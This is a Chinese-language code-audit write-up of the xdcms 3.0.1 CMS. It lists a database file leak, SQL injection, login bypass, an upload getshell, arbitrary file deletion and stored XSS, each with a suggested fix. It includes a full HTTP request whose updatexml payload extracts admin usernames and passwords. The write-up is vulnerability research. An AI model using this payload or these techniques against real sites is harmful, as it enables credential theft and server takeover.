xdcms 3.0.1代码审计
2022-7-22 08:35:58 Author: 李白你好(查看原文) 阅读量:17 收藏

免责声明
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章来源:网络

原文地址:https://forum.90sec.com/t/topic/1918

0x01 前言

申明:文中图片中ip地址为内网Ip地址

admin       后台管理文件cache       缓存文件system      配置文件uploadfile  上传文件

打开首页查看功能

0x02 数据库文件信息泄露

安装好cms后首先尝试再次访问install文件

这里没有覆盖安装的漏洞,继续查看install目录有哪些文件,尝试访问data.sql

修复方案:

将data.sql移动到禁止访问目录,或对该文件权限进行设置禁止访问

0x03 会员注册处sql注入

查看代码 system/modules/member/index.php

这里有一个safe_html函数,尝试跟踪 system/function/fun.inc.php

function safe_html($str){  if(empty($str)){return;}  $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\\%|\\=|\\/\\*|\\*|\\.\\.\\/|\\.\\/| union | from | where | group | into |load_file|outfile/','',$str);  return htmlspecialchars($str);

所以抓包修改

完整数据包:

POST /index.php?m=member&f=register_save HTTP/1.1Host: 30.110.0.52Content-Length: 214Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: <http://30.110.0.52>Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: <http://30.110.0.52/index.php?m=member&f=register>Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: UM_distinctid=17abd4832ac51b-08c311c38f92c2-6373264-144000-17abd4832ad90a; url=http%3A%2F%2F123; mail=13%40qq.com; name=1; CNZZDATA3801251=cnzz_eid%3D1178310841-1626673255-%26ntime%3D1626954450; commentposter=admin; posterurl=http%3A%2F%2F30.110.0.52%2F; HISTORY={video:[{"name":"123","link":"<http://30.110.0.52/bplay.php?play=332","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u5931\\u5B64","link":"http://30.110.0.52/play.php?play=/m/hqPmZBH1QHH8Sh.html","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u6597\\u7F57\\u5927\\u9646","link":"http://30.110.0.52/play.php?play=/ct/OUPkaZ7kNY7vDj.html","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u7F57\\u7C73\\u5A1C2018","link":"http://30.110.0.52/bplay.php?play=312","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u60AC\\u5D16\\u4E4B\\u4E0A","link":"http://30.110.0.52/play.php?play=/m/gKbpahH6RHH8Tx.html","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg>"}]}; PHPSESSID=qlgroibpe4a10o6ff219ld6pd3Connection: close
username=123123'or updatexml(1,concat(0x7e,(SELECT concat(username,0x23,password) FROM c_admin),0x7e),1)#&password=123123&password2=123123&fields%5Btruename%5D=123&fields%5Bemail%5D=123&submit=+%E6%B3%A8+%E5%86%8C+

结果

修复方案:

对参数进行addslashes过滤,黑名单加上对大写命令的过滤或用白名单的方式进行过滤

0x04 会员登录处万能密码

先在system/modules/member/index.php把和登录相关的代码拿出来

这里先判断用户是否存在,接着判断密码,,get_one()将sql语句执行结果返回,在system/libs/mysql.class.php中

我们先让返回的结果显示出来,在get_one()中加入var_dump(mysql_fetch_assoc($result));

bp抓包查看

那么直接在union select 显示4的位置构造密码,这里选取数字4

修复方案:

对参数进行addslashes过滤,黑名单加上对大写命令的过滤或用白名单的方式进行过滤

0x05 管理员登录处sql注入

接下来对后台管理代码进行测试,管理员登录处存在同样的sql注入问题

0x06 管理后台getshell

这里可以直接更改图片上传格式,添加后缀php即可getshell

修复方案:

对图片上传格式限制在代码中添加黑名单或白名单。

0x07 任意文件删除

后台中有一个对数据库管理的栏目,查看代码 system/modules/xdcms/data.php

这里先判断传进来的参数是不是文件夹,也就是我们可以通过这个漏洞达到删除任意文件夹中的所有文件的作用

修复方案:

$len = strlen($file);  $num=0;  while($num<=$len){    $b=$file{$num};    $num=$num+1;    if(ord($b) == 47 || ord($b) == 46){      $admin_name="0";      showmsg('非法操作');       break;    }  }

0x08 后台储存型xss

后台关键词链接处,代码地址 system/modules/xdcms/keywords.php

这里对url参数没有任何过滤,直接构造xss即可

修复方案:

对url参数的内容进行xss过滤。

0x09 总结

本套cms作者自己写了个简单的框架,这此审计算是第一次接触简单的mvc框架,刚开始审计使读代码逻辑不是很能看懂,后面发现作者是利用get参数m和c选择文件,f参数选择代码中的函数;很多时候需要给代码加上echo等命令查看某变量的处理情况方便进一步的审计。

往期推荐

2023届校招白哥在绿盟等你,内推码:NTAGljx,冲~

关于APP抓不到包的解决思路

emo 时间到!!!

一次信息泄露到越权支付的实战



文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247492120&idx=1&sn=de7b2092fdb33aebd496afea25de0ee0&chksm=c09a9148f7ed185e6acb8bed4dc4662a7acfd007258a226fa529c11fd306d6b89b51761665b8#rd
如有侵权请联系:admin#unsafe.sh